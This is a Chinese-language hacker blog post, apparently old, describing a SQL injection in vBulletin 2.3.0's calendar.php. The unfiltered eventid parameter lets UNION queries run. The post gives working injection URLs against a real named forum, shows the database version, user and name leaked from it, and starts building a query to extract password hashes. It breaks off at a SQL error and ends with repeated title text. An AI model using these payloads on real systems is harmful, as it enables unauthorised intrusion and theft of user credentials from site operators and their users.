灰色轨迹:一个人气很不错的黑客技术站点,也是当年培育我成长得地方。一日,闲来无事便想测试一下php脚本的安全性。所以就看了看灰色轨迹的VBB论坛。
因为是由于灰色论坛启发的学习之路,所以偶得先看看灰色论坛用得是版本的vbb了―――vBulletin Forum 2.3.0。 恩,就是这个,立刻找到了原文件看起来。一来就打开看到了日历文件这里有这么一段:
calendar。php,发现问题!
-------- 相关代码如下 ----------
else if ($action == "edit")
{
$eventinfo = $DB_site-query_first("SELECT
allowsmilies,public,userid,eventdate,event,subject FROM calendar_events WHERE eventid =
$eventid");
if ($eventinfo[userid] != $bbuserinfo[userid])
{
$permissions=getpermissions();
if ($permissions[canpublicedit]!=1) {
show_nopermission();
}
OK。我们可以看到eventid没有过滤。可以进行SQL INJECTION注射攻击。所以下面我们来构造句子进行注射。PHP+MYSQL的注射攻击条件比较难。由于MYSQL本身功能问题。限制了不少有用的注射方法。所以我们要完成注射就要找别的方法了。
如果论坛使用的MySQL版本在4.00以上,就可以进行UNION攻击。至于如何察看MYSQL版本就不多说了。利用注射就可以做到得。
攻击演示句子:
http://bbs.isgrey.com/calendar.php?action=edit&eventid=12%20union%20(SELECT%20allowsmilies,public,userid,񟍰-0-0,user(),version()%20FROM%20calendar_events%20WHERE%20eventid%20=%2013)%20order%20by%20eventdate
此时query_first函数将只返回第一行的查询结果,如果存在漏洞。我们将看到MYSQL得版本和MYSQL得用户如果我们构造好。就可以得到数据库得任何内容。当然包括USER表中的密码
二.论坛攻击与测试过程
开始对灰色轨迹论坛进行测试:
http://bbs.isgrey.com/calendar.php?s=&action=edit&eventid=10%20union%20(SELECT%20allowsmilies,public,userid,񟍰-0-0,user(),version()%20FROM%20calendar_events%20WHERE%20eventid%20=%2010)%20order%20by%20eventdate
我们看到了结果:
4.0.2-alpha-nt -----------------出现在标题栏--------就是我们的user()函数
isgreyvbb@localhost ------------------------------事件内容里-----我们的version()函数
再来
http://bbs.isgrey.com/calendar.php?s=&action=edit&eventid=10%20union%20(SELECT%20allowsmilies,public,userid,񟍰-0-0,pass(),version()%20FROM%20calendar_events%20WHERE%20eventid%20=%2010)%20order%20by%20eventdate
结果:
------------------------------------------------
看起来中新软件-灰色轨迹安全咨讯站技术讨论区数据库发生了一些微小的错误
请按浏览器的 刷新 按钮重试。
一封 E-Mail 已经发送给 技术支持信箱, 如果问题仍然存在,你也可以直接联系。
对给你造成的不便我们深表歉意。
―――――――――――――――――――――――――――
再来:
http://bbs.isgrey.com/calendar.php?s=&action=edit&eventid=10%20union%20(SELECT%20allowsmilies,public,userid,񟍰-0-0,now(),database()%20FROM%20calendar_events%20WHERE%20eventid%20=%2010)%20order%20by%20eventdate
vbb----------数据库名字
http://bbs.isgrey.com/calendar.php?s=&action=edit&eventid=10%20union%20(SELECT%20allowsmilies,public,userid,񟍰-0-0,user(),md5(123456)%20FROM%20calendar_events%20WHERE%20eventid%20=%2010)%20order%20by%20eventdate10adc3949ba59abbe56e057f20f883e
哈哈........随便测试了几个函数.都成功了.但是我们怎么来取得密码呢?
*******************************************************************************
下面来构造取密码的句子:
恩,我们用UNION.UNION来看看。两张表字段要相等,类型要相似,满足条件非常简单。
SELECT allowsmilies,public,userid,eventdate,event,subject FROM calendar_events WHERE eventid = 1 union (select 1,1,1,1,1,1,1 from user where userid=1)
MySQL said:
The used SELECT statements have a different number of columns
恩,字段不相等,错误
********************************************************************************************
入侵灰色轨迹论坛
入侵灰色轨迹论坛,入侵灰色轨迹论坛